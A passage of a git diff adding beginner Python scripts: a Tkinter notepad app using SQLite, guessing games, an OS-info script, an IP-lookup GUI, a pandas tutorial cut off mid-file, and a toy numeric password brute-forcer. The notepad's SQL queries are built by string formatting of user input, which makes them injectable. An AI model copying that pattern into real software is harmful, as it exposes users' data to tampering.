relwidth=0.97) + self.TNotebook1.configure(width=582) + self.TNotebook1.configure(takefocus="") + self.TNotebook1_t0 = Frame(self.TNotebook1) + self.TNotebook1.add(self.TNotebook1_t0, padding=3) + self.TNotebook1.tab( + 0, + text="Add", + compound="none", + underline="-1", + ) + self.TNotebook1_t1 = Frame(self.TNotebook1) + self.TNotebook1.add(self.TNotebook1_t1, padding=3) + self.TNotebook1.tab( + 1, + text="Display", + compound="none", + underline="-1", + ) + self.TNotebook1_t2 = Frame(self.TNotebook1) + self.TNotebook1.add(self.TNotebook1_t2, padding=3) + self.TNotebook1.tab( + 2, + text="Create", + compound="none", + underline="-1", + ) + + self.inputNotice = Text(self.TNotebook1_t0) + self.inputNotice.place(relx=0.02, rely=0.28, relheight=0.64, relwidth=0.68) + self.inputNotice.configure(background="white") + self.inputNotice.configure(font="TkTextFont") + self.inputNotice.configure(selectbackground="#c4c4c4") + self.inputNotice.configure(width=396) + self.inputNotice.configure(wrap=WORD) + + self.inputTitle = Entry(self.TNotebook1_t0) + self.inputTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.6) + self.inputTitle.configure(background="white") + self.inputTitle.configure(font="TkFixedFont") + self.inputTitle.configure(selectbackground="#c4c4c4") + + self.Label1 = Label(self.TNotebook1_t0) + self.Label1.place(relx=0.02, rely=0.08, height=18, width=29) + self.Label1.configure(activebackground="#f9f9f9") + self.Label1.configure(text="""Title""") + + self.Label2 = Label(self.TNotebook1_t0) + self.Label2.place(relx=0.02, rely=0.22, height=18, width=46) + self.Label2.configure(activebackground="#f9f9f9") + self.Label2.configure(text="""Notice:""") + + self.Button2 = Button(self.TNotebook1_t0) + self.Button2.place(relx=0.74, rely=0.28, height=26, width=50) + self.Button2.configure(activebackground="#d9d9d9") + self.Button2.configure(text="""Add""") + self.Button2.bind("", lambda e: notepad_support.add_button(e)) + + self.Button3 = Button(self.TNotebook1_t0) + self.Button3.place(relx=0.74, rely=0.39, height=26, width=56) + self.Button3.configure(activebackground="#d9d9d9") + self.Button3.configure(text="""Clear""") + self.Button3.bind("", lambda e: notepad_support.clear_button(e)) + + self.outputNotice = Text(self.TNotebook1_t1) + self.outputNotice.place(relx=0.02, rely=0.19, relheight=0.76, relwidth=0.6) + self.outputNotice.configure(background="white") + self.outputNotice.configure(font="TkTextFont") + self.outputNotice.configure(selectbackground="#c4c4c4") + self.outputNotice.configure(width=346) + self.outputNotice.configure(wrap=WORD) + + self.inputSearchTitle = Entry(self.TNotebook1_t1) + self.inputSearchTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.51) + self.inputSearchTitle.configure(background="white") + self.inputSearchTitle.configure(font="TkFixedFont") + self.inputSearchTitle.configure(selectbackground="#c4c4c4") + + self.Label3 = Label(self.TNotebook1_t1) + self.Label3.place(relx=0.02, rely=0.08, height=18, width=29) + self.Label3.configure(activebackground="#f9f9f9") + self.Label3.configure(text="""Title""") + + self.Button4 = Button(self.TNotebook1_t1) + self.Button4.place(relx=0.69, rely=0.33, height=26, width=54) + self.Button4.configure(activebackground="#d9d9d9") + self.Button4.configure(text="""Next""") + self.Button4.bind("", lambda e: notepad_support.next_button(e)) + + self.Button5 = Button(self.TNotebook1_t1) + self.Button5.place(relx=0.69, rely=0.44, height=26, width=55) + self.Button5.configure(activebackground="#d9d9d9") + self.Button5.configure(text="""Back""") + self.Button5.bind("", lambda e: notepad_support.back_button(e)) + + self.Button7 = Button(self.TNotebook1_t1) + self.Button7.place(relx=0.69, rely=0.22, height=26, width=68) + self.Button7.configure(activebackground="#d9d9d9") + self.Button7.configure(text="""Search""") + self.Button7.bind("", lambda e: notepad_support.search_button(e)) + + self.Button8 = Button(self.TNotebook1_t1) + self.Button8.place(relx=0.69, rely=0.56, height=26, width=64) + self.Button8.configure(activebackground="#d9d9d9") + self.Button8.configure(text="""Delete""") + self.Button8.bind("", lambda e: notepad_support.delete_button(e)) + + self.Label4 = Label(self.TNotebook1_t2) + self.Label4.place(relx=0.09, rely=0.14, height=18, width=259) + self.Label4.configure(activebackground="#f9f9f9") + self.Label4.configure(text="""For creating a new notepads managment.""") + + self.Button6 = Button(self.TNotebook1_t2) + self.Button6.place(relx=0.22, rely=0.25, height=26, width=69) + self.Button6.configure(activebackground="#d9d9d9") + self.Button6.configure(text="""Create""") + self.Button6.bind("", lambda e: notepad_support.create_button(e)) + + self.Button1 = Button(top) + self.Button1.place(relx=0.4, rely=0.91, height=26, width=117) + self.Button1.configure(activebackground="#d9d9d9") + self.Button1.configure(text="""Exit""") + self.Button1.bind("", lambda e: notepad_support.exit_button(e)) + + self.errorOutput = Label(top) + self.errorOutput.place(relx=0.03, rely=0.91, height=18, width=206) + self.errorOutput.configure(activebackground="#f9f9f9") + + +if __name__ == "__main__": + vp_start_gui() diff --git a/nodepad/src/notepad.tcl b/nodepad/src/notepad.tcl new file mode 100644 index 00000000000..3748bfb258b --- /dev/null +++ b/nodepad/src/notepad.tcl @@ -0,0 +1,305 @@ +############################################################################# +# Generated by PAGE version 4.10 +# in conjunction with Tcl version 8.6 +set vTcl(timestamp) "" + + +if {!$vTcl(borrow)} { + +set vTcl(actual_gui_bg) #d9d9d9 +set vTcl(actual_gui_fg) #000000 +set vTcl(actual_gui_menu_bg) #d9d9d9 +set vTcl(actual_gui_menu_fg) #000000 +set vTcl(complement_color) #d9d9d9 +set vTcl(analog_color_p) #d9d9d9 +set vTcl(analog_color_m) #d9d9d9 +set vTcl(active_fg) #000000 +set vTcl(actual_gui_menu_active_bg) #d8d8d8 +set vTcl(active_menu_fg) #000000 +} + +################################# +#LIBRARY PROCEDURES +# + + +if {[info exists vTcl(sourcing)]} { + +proc vTcl:project:info {} { + set base .top37 + namespace eval ::widgets::$base { + set dflt,origin 1 + set runvisible 1 + } + set site_4_0 .top37.tNo38.t0 + set site_4_0 $site_4_0 + set site_4_1 .top37.tNo38.t1 + set site_4_0 $site_4_1 + set site_4_2 .top37.tNo38.t2 + set site_4_0 $site_4_2 + namespace eval ::widgets_bindings { + set tagslist _TopLevel + } + namespace eval ::vTcl::modules::main { + set procs { + } + set compounds { + } + set projectType single + } +} +} + +################################# +# GENERATED GUI PROCEDURES +# + +proc vTclWindow.top37 {base} { + if {$base == ""} { + set base .top37 + } + if {[winfo exists $base]} { + wm deiconify $base; return + } + set top $base + ################### + # CREATING WIDGETS + ################### + vTcl::widgets::core::toplevel::createCmd $top -class Toplevel \ + -background {#d9d9d9} -highlightcolor black + wm focusmodel $top passive + wm geometry $top 600x450 + update + # set in toplevel.wgt. + global vTcl + global img_list + set vTcl(save,dflt,origin) 1 + wm maxsize $top 1585 870 + wm minsize $top 1 1 + wm overrideredirect $top 0 + wm resizable $top 0 0 + wm deiconify $top + wm title $top "Notepads managment" + vTcl:DefineAlias "$top" "Toplevel1" vTcl:Toplevel:WidgetProc "" 1 + ttk::style configure TNotebook -background #d9d9d9 + ttk::style configure TNotebook.Tab -background #d9d9d9 + ttk::style configure TNotebook.Tab -foreground #000000 + ttk::style configure TNotebook.Tab -font TkDefaultFont + ttk::style map TNotebook.Tab -background [list disabled #d9d9d9 selected #d9d9d9] + ttk::notebook $top.tNo38 \ + -width 582 -height 383 -takefocus {} + vTcl:DefineAlias "$top.tNo38" "TNotebook1" vTcl:WidgetProc "Toplevel1" 1 + frame $top.tNo38.t0 \ + -background {#d9d9d9} -highlightcolor black + vTcl:DefineAlias "$top.tNo38.t0" "TNotebook1_t0" vTcl:WidgetProc "Toplevel1" 1 + $top.tNo38 add $top.tNo38.t0 \ + -padding 0 -sticky nsew -state normal -text Add -image {} \ + -compound none -underline -1 + set site_4_0 $top.tNo38.t0 + text $site_4_0.tex40 \ + -background white -font TkTextFont -foreground black -height 232 \ + -highlightcolor black -insertbackground black \ + -selectbackground {#c4c4c4} -selectforeground black -width 396 \ + -wrap word + .top37.tNo38.t0.tex40 configure -font TkTextFont + .top37.tNo38.t0.tex40 insert end text + vTcl:DefineAlias "$site_4_0.tex40" "inputNotice" vTcl:WidgetProc "Toplevel1" 1 + entry $site_4_0.ent41 \ + -background white -font TkFixedFont -foreground {#000000} \ + -highlightcolor black -insertbackground black \ + -selectbackground {#c4c4c4} -selectforeground black + vTcl:DefineAlias "$site_4_0.ent41" "inputTitle" vTcl:WidgetProc "Toplevel1" 1 + label $site_4_0.lab42 \ + -activebackground {#f9f9f9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Title + vTcl:DefineAlias "$site_4_0.lab42" "Label1" vTcl:WidgetProc "Toplevel1" 1 + label $site_4_0.lab43 \ + -activebackground {#f9f9f9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Notice: + vTcl:DefineAlias "$site_4_0.lab43" "Label2" vTcl:WidgetProc "Toplevel1" 1 + button $site_4_0.but44 \ + -activebackground {#d9d9d9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Add + vTcl:DefineAlias "$site_4_0.but44" "Button2" vTcl:WidgetProc "Toplevel1" 1 + bind $site_4_0.but44 { + lambda e: add_button(e) + } + button $site_4_0.but45 \ + -activebackground {#d9d9d9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Clear + vTcl:DefineAlias "$site_4_0.but45" "Button3" vTcl:WidgetProc "Toplevel1" 1 + bind $site_4_0.but45 { + lambda e: clear_button(e) + } + place $site_4_0.tex40 \ + -in $site_4_0 -x 10 -y 100 -width 396 -relwidth 0 -height 232 \ + -relheight 0 -anchor nw -bordermode ignore + place $site_4_0.ent41 \ + -in $site_4_0 -x 50 -y 30 -width 346 -relwidth 0 -height 20 \ + -relheight 0 -anchor nw -bordermode ignore + place $site_4_0.lab42 \ + -in $site_4_0 -x 10 -y 30 -anchor nw -bordermode ignore + place $site_4_0.lab43 \ + -in $site_4_0 -x 10 -y 80 -anchor nw -bordermode ignore + place $site_4_0.but44 \ + -in $site_4_0 -x 430 -y 100 -anchor nw -bordermode ignore + place $site_4_0.but45 \ + -in $site_4_0 -x 430 -y 140 -anchor nw -bordermode ignore + frame $top.tNo38.t1 \ + -background {#d9d9d9} -highlightcolor black + vTcl:DefineAlias "$top.tNo38.t1" "TNotebook1_t1" vTcl:WidgetProc "Toplevel1" 1 + $top.tNo38 add $top.tNo38.t1 \ + -padding 0 -sticky nsew -state normal -text Display -image {} \ + -compound none -underline -1 + set site_4_1 $top.tNo38.t1 + text $site_4_1.tex46 \ + -background white -font TkTextFont -foreground black -height 272 \ + -highlightcolor black -insertbackground black \ + -selectbackground {#c4c4c4} -selectforeground black -width 346 \ + -wrap word + .top37.tNo38.t1.tex46 configure -font TkTextFont + .top37.tNo38.t1.tex46 insert end text + vTcl:DefineAlias "$site_4_1.tex46" "outputNotice" vTcl:WidgetProc "Toplevel1" 1 + entry $site_4_1.ent47 \ + -background white -font TkFixedFont -foreground {#000000} \ + -highlightcolor black -insertbackground black \ + -selectbackground {#c4c4c4} -selectforeground black + vTcl:DefineAlias "$site_4_1.ent47" "inputSearchTitle" vTcl:WidgetProc "Toplevel1" 1 + label $site_4_1.lab48 \ + -activebackground {#f9f9f9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Title + vTcl:DefineAlias "$site_4_1.lab48" "Label3" vTcl:WidgetProc "Toplevel1" 1 + button $site_4_1.but49 \ + -activebackground {#d9d9d9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Next + vTcl:DefineAlias "$site_4_1.but49" "Button4" vTcl:WidgetProc "Toplevel1" 1 + bind $site_4_1.but49 { + lambda e: next_button(e) + } + button $site_4_1.but50 \ + -activebackground {#d9d9d9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Back + vTcl:DefineAlias "$site_4_1.but50" "Button5" vTcl:WidgetProc "Toplevel1" 1 + bind $site_4_1.but50 { + lambda e: back_button(e) + } + button $site_4_1.but38 \ + -activebackground {#d9d9d9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Search + vTcl:DefineAlias "$site_4_1.but38" "Button7" vTcl:WidgetProc "Toplevel1" 1 + bind $site_4_1.but38 { + lambda e: search_button(e) + } + button $site_4_1.but39 \ + -activebackground {#d9d9d9} -background {#d9d9d9} \ + -foreground {#000000} -highlightcolor black -text Delete + vTcl:DefineAlias "$site_4_1.but39" "Button8" vTcl:WidgetProc "Toplevel1" 1 + bind $site_4_1.but39 { + lambda e: delete_button(e) + } + place $site_4_1.tex46 \ + -in $site_4_1 -x 10 -y 70 -width 346 -relwidth 0 -height 272 \ + -relheight 0 -anchor nw -bordermode ignore + place $site_4_1.ent47 \ + -in $site_4_1 -x 50 -y 30 -width 296 -relwidth 0 -height 20 \ + -relheight 0 -anchor nw -bordermode ignore + place $site_4_1.lab48 \ + -in $site_4_1 -x 10 -y 30 -anchor nw -bordermode ignore + place $site_4_1.but49 \ + -in $site_4_1 -x 400 -y 120 -anchor nw -bordermode ignore + place $site_4_1.but50 \ + -in $site_4_1 -x 400 -y 160 -anchor nw -bordermode ignore + place $site_4_1.but38 \ + -in $site_4_1 -x 400 -y 80 -anchor nw -bordermode ignore + place $site_4_1.but39 \ + -in $site_4_1 -x 400 -y 200 -anchor nw -bordermode ignore + frame $top.tNo38.t2 \ + -background {#d9d9d9} -highlightcolor black + vTcl:DefineAlias "$top.tNo38.t2" "TNotebook1_t2" vTcl:WidgetProc "Toplevel1" 1 + $top.tNo38 add $top.tNo38.t2 \ + -padding 0 -sticky nsew -state normal -text Create -image {} \ + -compound none -underline -1 + set site_4_2 $top.tNo38.t2 + label $site_4_2.lab38 \ + -activebackground {#f9f9f9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text {For creating a new notepads managment.} + vTcl:DefineAlias "$site_4_2.lab38" "Label4" vTcl:WidgetProc "Toplevel1" 1 + button $site_4_2.but39 \ + -activebackground {#d9d9d9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text {Create } + vTcl:DefineAlias "$site_4_2.but39" "Button6" vTcl:WidgetProc "Toplevel1" 1 + bind $site_4_2.but39 { + lambda e: create_button(e) + } + place $site_4_2.lab38 \ + -in $site_4_2 -x 50 -y 50 -anchor nw -bordermode ignore + place $site_4_2.but39 \ + -in $site_4_2 -x 130 -y 90 -anchor nw -bordermode ignore + button $top.but39 \ + -activebackground {#d9d9d9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black \ + -text Exit + vTcl:DefineAlias "$top.but39" "Button1" vTcl:WidgetProc "Toplevel1" 1 + bind $top.but39 { + lambda e: exit_button(e) + } + label $top.lab51 \ + -activebackground {#f9f9f9} -activeforeground black \ + -background {#d9d9d9} -foreground {#000000} -highlightcolor black + vTcl:DefineAlias "$top.lab51" "errorOutput" vTcl:WidgetProc "Toplevel1" 1 + ################### + # SETTING GEOMETRY + ################### + place $top.tNo38 \ + -in $top -x 10 -y 10 -width 582 -relwidth 0 -height 383 -relheight 0 \ + -anchor nw -bordermode ignore + place $top.but39 \ + -in $top -x 240 -y 410 -width 117 -relwidth 0 -height 26 -relheight 0 \ + -anchor nw -bordermode ignore + place $top.lab51 \ + -in $top -x 20 -y 410 -width 206 -relwidth 0 -height 18 -relheight 0 \ + -anchor nw -bordermode ignore + + vTcl:FireEvent $base <> +} + +############################################################################# +## Binding tag: _TopLevel + +bind "_TopLevel" <> { + if {![info exists _topcount]} {set _topcount 0}; incr _topcount +} +bind "_TopLevel" <> { + if {[set ::%W::_modal]} { + vTcl:Toplevel:WidgetProc %W endmodal + } else { + destroy %W; if {$_topcount == 0} {exit} + } +} +bind "_TopLevel" { + if {[winfo toplevel %W] == "%W"} {incr _topcount -1} +} + + set btop "" +if {$vTcl(borrow)} { + set btop .bor[expr int([expr rand() * 100])] + while {[lsearch $btop $vTcl(tops)] != -1} { + set btop .bor[expr int([expr rand() * 100])] + } +} +Window show . +Window show .top37 $btop +if {$vTcl(borrow)} { + $btop configure -background plum +} + diff --git a/notepad/notepad_support.py b/notepad/notepad_support.py new file mode 100644 index 00000000000..c24a9c9f075 --- /dev/null +++ b/notepad/notepad_support.py @@ -0,0 +1,163 @@ +#! /usr/bin/env python +# +# Support module generated by PAGE version 4.10 +# In conjunction with Tcl version 8.6 +# Jan 29, 2018 03:25:00 PM + + +import sqlite3 + +try: + from Tkinter import * +except ImportError: + from tkinter import * + +try: + import ttk + + py3 = 0 +except ImportError: + py3 = 1 + +# connect with database 'data.db' +connection = sqlite3.connect("data.db") + +# creates a cursor (pointer) to the data base +cursor = connection.cursor() + +search = False + +results = [] + +index = 0 + + +def delete_button(p1): + global index + global results + global cursor + + # fetch id of the current note + id = results[index][0] + + sql_command = """ DELETE FROM notes WHERE id = {0}; """ + sql_command = sql_command.format(id) + + cursor.execute(sql_command) + + connection.commit() + + +def create_button(p1): + """ + for creating a new database + """ + global cursor + + sql_command = """ + CREATE TABLE notes ( + id INTEGER PRIMARY KEY, + title TEXT, + note TEXT);""" + + try: + cursor.execute(sql_command) + w.errorOutput.configure(text="") + except: + w.errorOutput.configure(text="The database already exists") + + +def add_button(p1): + # for manipulating the data base + global cursor + global connection + if len(w.inputTitle.get()) > 0 and len(w.inputNotice.get(1.0, END)) > 0: + w.errorOutput.configure(text="") + title = w.inputTitle.get() + note = w.inputNotice.get(1.0, END) + sql_command = """INSERT INTO notes (title,note) VALUES ("{0}","{1}"); """ + sql_command = sql_command.format(title, note) + cursor.execute(sql_command) + connection.commit() + else: + w.errorOutput.configure(text="Please fill the fields. ") + + +def back_button(p1): + global search + global results + global index + + w.errorOutput.configure(text="") + index -= 1 + if index >= 0 and index < len(results): + w.outputNotice.delete(1.0, END) + w.outputNotice.insert(1.0, results[index][2]) + + +def clear_button(p1): + """ + This function is for the clear button. + This will clear the notice-input field + """ + w.inputNotice.delete(1.0, END) + + +def exit_button(p1): + """ + function for the exit button. + this will exit the application. + """ + sys.exit(0) + + +def search_button(p1): + global cursor + global results + global index + w.errorOutput.configure(text="") + sql_command = """ SELECT * FROM notes WHERE title LIKE "%{0}%";""" + sql_command = sql_command.format(w.inputSearchTitle.get()) + try: + cursor.execute(sql_command) + results = cursor.fetchall() + w.errorOutput.configure(text=str(len(results)) + " results") + index = 0 + if index >= 0 and index < len(results): + w.outputNotice.delete(1.0, END) + w.outputNotice.insert(1.0, results[index][2]) + except: + w.errorOutput.configure(text="Please create at first a database.") + + +def next_button(p1): + global results + global index + index += 1 + if len(w.inputSearchTitle.get()) > 0: + if index >= 0 and index < len(results): + w.outputNotice.delete(1.0, END) + w.outputNotice.insert(1.0, results[index][2]) + + else: + w.errorOutput.configure(text="Please fill the search field. ") + + +def init(top, gui, *args, **kwargs): + global w, top_level, root + w = gui + top_level = top + root = top + + +def destroy_window(): + # Function which closes the window. + global top_level + top_level.destroy() + top_level = None + + +if __name__ == "__main__": + import notepad + + notepad.vp_start_gui() diff --git a/nslookup_check.py b/nslookup_check.py index d60dd62fb37..4ae57f84cfc 100644 --- a/nslookup_check.py +++ b/nslookup_check.py @@ -1,13 +1,16 @@ # Script Name : nslookup_check.py # Author : Craig Richards # Created : 5th January 2012 -# Last Modified : +# Last Modified : # Version : 1.0 -# Modifications : +# Modifications : -# Description : This very simple script opens the file server_list.txt and the does an nslookup for each one to check the DNS entry +# Description : This very simple script opens the file server_list.txt and then does a nslookup for each one to check the DNS entry -import subprocess # Import the subprocess module -for server in open('server_list.txt'): # Open the file and read each line - subprocess.Popen(('nslookup '+server)) # Run the nslookup command for each server in the list \ No newline at end of file +import subprocess # Import the subprocess module + +for server in open("server_list.txt"): # Open the file and read each line + subprocess.Popen( + ("nslookup " + server) + ) # Run the nslookup command for each server in the list diff --git a/number guessing.py b/number guessing.py new file mode 100644 index 00000000000..13ac2cf4198 --- /dev/null +++ b/number guessing.py @@ -0,0 +1,56 @@ +import random + +attempts_list = [] + + +def show_score(): + if len(attempts_list) <= 0: + print("There is currently no high score, it's yours for the taking!") + else: + print("The current high score is {} attempts".format(min(attempts_list))) + + +def start_game(): + random_number = int(random.randint(1, 10)) + print("Hello traveler! Welcome to the game of guesses!") + player_name = input("What is your name? ") + wanna_play = input( + "Hi, {}, would you like to play the guessing game? (Enter Yes/No) ".format( + player_name + ) + ) + # Where the show_score function USED to be + attempts = 0 + show_score() + while wanna_play.lower() == "yes": + try: + guess = input("Pick a number between 1 and 10 ") + if int(guess) < 1 or int(guess) > 10: + raise ValueError("Please guess a number within the given range") + if int(guess) == random_number: + print("Nice! You got it!") + attempts += 1 + attempts_list.append(attempts) + print("It took you {} attempts".format(attempts)) + play_again = input("Would you like to play again? (Enter Yes/No) ") + attempts = 0 + show_score() + random_number = int(random.randint(1, 10)) + if play_again.lower() == "no": + print("That's cool, have a good one!") + break + elif int(guess) > random_number: + print("It's lower") + attempts += 1 + elif int(guess) < random_number: + print("It's higher") + attempts += 1 + except ValueError as err: + print("Oh no!, that is not a valid value. Try again...") + print("({})".format(err)) + else: + print("That's cool, have a good one!") + + +if __name__ == "__main__": + start_game() diff --git a/numberguessinggame/index.py b/numberguessinggame/index.py new file mode 100644 index 00000000000..5b169817173 --- /dev/null +++ b/numberguessinggame/index.py @@ -0,0 +1,31 @@ +import random + + +def number_guessing_game(): + secret_number = random.randint(1, 100) + attempts = 0 + + print("Welcome to the Number Guessing Game!") + print("I'm thinking of a number between 1 and 100.") + + while True: + try: + guess = int(input("Your guess: ")) + attempts += 1 + + if guess < secret_number: + print("Too low! Try again.") + elif guess > secret_number: + print("Too high! Try again.") + else: + print( + f"Congratulations! You guessed the number {secret_number} in {attempts} attempts!" + ) + break + + except ValueError: + print("Please enter a valid number.") + + +if __name__ == "__main__": + number_guessing_game() diff --git a/numeric_password_cracker.py b/numeric_password_cracker.py new file mode 100644 index 00000000000..2a6215c9a64 --- /dev/null +++ b/numeric_password_cracker.py @@ -0,0 +1,34 @@ +import itertools + + +def generate_password_permutations(length): + # Generate numeric password permutations of the given length + digits = "0123456789" + for combination in itertools.product(digits, repeat=length): + password = "".join(combination) + yield password + + +def password_cracker(target_password, max_length=8): + # Try different password lengths and generate permutations + for length in range(1, max_length + 1): + password_generator = generate_password_permutations(length) + for password in password_generator: + if password == target_password: + return password + return None + + +if __name__ == "__main__": + # Target numeric password (change this to the password you want to crack) + target_password = "9133278" + + # Try cracking the password + cracked_password = password_cracker(target_password) + + if cracked_password: + print(f"Password successfully cracked! The password is: {cracked_password}") + else: + print( + "Password not found. Try increasing the max_length or target a different password." + ) diff --git a/oneeven.py b/oneeven.py new file mode 100644 index 00000000000..0c0a8c52530 --- /dev/null +++ b/oneeven.py @@ -0,0 +1,10 @@ +# Python Program to Print Even Numbers from 1 to N + +maximum = int(input(" Please Enter the Maximum Value : ")) + +number = 1 + +while number <= maximum: + if number % 2 == 0: + print("{0}".format(number)) + number = number + 1 diff --git a/osinfo.py b/osinfo.py index a109901e80a..1e8a8d4ef01 100644 --- a/osinfo.py +++ b/osinfo.py @@ -1,36 +1,47 @@ # Script Name : osinfo.py -# Author : Craig Richards -# Created : 5th April 2012 -# Last Modified : April 02 2016 -# Version : 1.0 - -# Modifications : Changed the list to a dictionary. Although the order is lost, the info is with its label. - -# Description : Displays some information about the OS you are running this script on - -import platform - -profile = { -'Architecture: ': platform.architecture(), -#'Linux Distribution: ': platform.linux_distribution(), -'mac_ver: ': platform.mac_ver(), -'machine: ': platform.machine(), -'node: ': platform.node(), -'platform: ': platform.platform(), -'processor: ': platform.processor(), -'python build: ': platform.python_build(), -'python compiler: ': platform.python_compiler(), -'python version: ': platform.python_version(), -'release: ': platform.release(), -'system: ': platform.system(), -'uname: ': platform.uname(), -'version: ': platform.version(), -} - -if hasattr(platform, 'linux_distribution'): - #to avoid AttributeError exception in some old versions of the module - profile['linux_distribution'] = platform.linux_distribution() - #FIXME: do this for all properties but in a loop +# Authors : {'geekcomputers': 'Craig Richards', 'dmahugh': 'Doug Mahugh','rutvik1010':'Rutvik Narayana Nadimpally','y12uc231': 'Satyapriya Krishna', 'minto4644':'Mohit Kumar'} +# Created : 5th April 2012 +# Last Modified : July 19 2016 +# Version : 1.0 + +# Modification 1 : Changed the profile to list again. Order is important. Everytime we run script we don't want to see different ordering. +# Modification 2 : Fixed the AttributeError checking for all properties. Using hasttr(). +# Modification 3 : Removed ': ' from properties inside profile. + + +# Description : Displays some information about the OS you are running this script on + +import platform as pl + +profile = [ + "architecture", + "linux_distribution", + "mac_ver", + "machine", + "node", + "platform", + "processor", + "python_build", + "python_compiler", + "python_version", + "release", + "system", + "uname", + "version", +] + + +class bcolors: + HEADER = "\033[95m" + OKBLUE = "\033[94m" + OKGREEN = "\033[92m" + WARNING = "\033[93m" + FAIL = "\033[91m" + ENDC = "\033[0m" + BOLD = "\033[1m" + UNDERLINE = "\033[4m" + for key in profile: - print(key + str(profile[key])) + if hasattr(pl, key): + print(key + bcolors.BOLD + ": " + str(getattr(pl, key)()) + bcolors.ENDC) diff --git a/other_pepole/get_ip_gui b/other_pepole/get_ip_gui new file mode 100755 index 00000000000..5728697ac5b --- /dev/null +++ b/other_pepole/get_ip_gui @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import socket +# **************** Modules Require *****************# +from tkinter import * +from urllib.request import urlopen + + +# **************** Get IP commands *****************# +# control buttons +def get_wan_ip(): + try: + # get ip from http://ipecho.net/plain as text + wan_ip = urlopen('http://ipecho.net/plain').read().decode('utf-8') + res.configure(text='Wan IP is : ' + wan_ip, fg='#600') + except: + res.configure(text='Problem in source : http://ipecho.net/plain', fg='red') + + +# get local ip +def get_local_ip(): + try: + lan_ip = (socket.gethostbyname(socket.gethostname())) + res.configure(text='Local IP is : ' + lan_ip, fg='#600') + except: + res.configure(text='Unkown Error', fg='#red') + # **************** about control button *****************# + + +# show about info and change the button command and place +def about(): + global close_app, frame, info + about_app.destroy() + frame = Frame(root, width=350, height=2, bg='blue') + frame.grid(row=2, column=0, columnspan=4) + info = Label(root, text=""" + Practice Python + Take idea from here : + https://github.com/geekcomputers/Python/blob/master/myip.py + """, fg='#02F') + info.grid(row=3, column=0, columnspan=4, padx=5) + close_app = Button(root, text='Close', command=close_about, bg='#55F') + close_app.grid(row=4, column=0, columnspan=4, pady=5) + + +# remove about info and remove close button then return about button in orignal place +def close_about(): + global frame, about_app, info + info.destroy() + frame.destroy() + close_app.destroy() + about_app = Button(root, text='about', command=about) + about_app.grid(row=1, column=2, padx=5, pady=5, sticky=W) + + +# **************** Tkinter GUI *****************# +root = Tk() +root.title('Khaled programing practice') +# all buttons +res = Label(root, text='00.00.00.00', font=25) +res_wan_ip = Button(root, text='Get Wan IP', command=get_wan_ip) +res_local_ip = Button(root, text='Get Local IP', command=get_local_ip) +about_app = Button(root, text='about', command=about) +quit_app = Button(root, text='quit', command=quit, bg='#f40') +# method grid to install the button in window +res.grid(row=0, column=0, columnspan=4, sticky=N, padx=10, pady=5) +res_wan_ip.grid(row=1, column=0, padx=5, pady=5, sticky=W) +res_local_ip.grid(row=1, column=1, padx=5, pady=5, sticky=W) +about_app.grid(row=1, column=2, padx=5, pady=5, sticky=W) +quit_app.grid(row=1, column=3, padx=5, pady=5, sticky=E) +# run GUI/app +root.mainloop() diff --git a/palindrome.py b/palindrome.py new file mode 100644 index 00000000000..9a9f7ea3531 --- /dev/null +++ b/palindrome.py @@ -0,0 +1,17 @@ +def is_palindrome(text): + text = text.lower() + + cleaned = "" + for char in text: + if char.isalnum(): + cleaned += char + + reversed_text = cleaned[::-1] + return cleaned == reversed_text + + +user_input = input("Enter a word or a sentence:") +if is_palindrome(user_input): + print("It's a palindrome") +else: + print("It's not a palindrome") diff --git a/pan.py b/pan.py new file mode 100644 index 00000000000..92135935c64 --- /dev/null +++ b/pan.py @@ -0,0 +1,287 @@ +import numpy as np +import pandas as pd +from matplotlib import * + +# .........................Series.......................# + +x1 = np.array([1, 2, 3, 4]) +s = pd.Series(x1, index=[1, 2, 3, 4]) +print(s) + +# .......................DataFrame......................# + +x2 = np.array([1, 2, 3, 4, 5, 6]) +s = pd.DataFrame(x2) +print(s) + +x3 = np.array([["Alex", 10], ["Nishit", 21], ["Aman", 22]]) +s = pd.DataFrame(x3, columns=["Name", "Age"]) +print(s) + +data = {"Name": ["Tom", "Jack", "Steve", "Ricky"], "Age": [28, 34, 29, 42]} +df = pd.DataFrame(data, index=["rank1", "rank2", "rank3", "rank4"]) +print(df) + +data = [{"a": 1, "b": 2}, {"a": 3, "b": 4, "c": 5}] +df = pd.DataFrame(data) +print(df) + +d = { + "one": pd.Series([1, 2, 3], index=["a", "b", "c"]), + "two": pd.Series([1, 2, 3, 4], index=["a", "b", "c", "d"]), +} +df = pd.DataFrame(d) +print(df) + +# ....Adding New column......# + +data = { + "one": pd.Series([1, 2, 3, 4], index=[1, 2, 3, 4]), + "two": pd.Series([1, 2, 3], index=[1, 2, 3]), +} +df = pd.DataFrame(data) +print(df) +df["three"] = pd.Series([1, 2], index=[1, 2]) +print(df) + +# ......Deleting a column......# + +data = { + "one": pd.Series([1, 2, 3, 4], index=[1, 2, 3, 4]), + "two": pd.Series([1, 2, 3], index=[1, 2, 3]), + "three": pd.Series([1, 1], index=[1, 2]), +} +df = pd.DataFrame(data) +print(df) +del df["one"] +print(df) +df.pop("two") +print(df) + +# ......Selecting a particular Row............# + +data = { + "one": pd.Series([1, 2, 3, 4], index=[1, 2, 3, 4]), + "two": pd.Series([1, 2, 3], index=[1, 2, 3]), + "three": pd.Series([1, 1], index=[1, 2]), +} +df = pd.DataFrame(data) +print(df.loc[2]) +print(df[1:4]) + +# .........Addition of Row.................# + +df 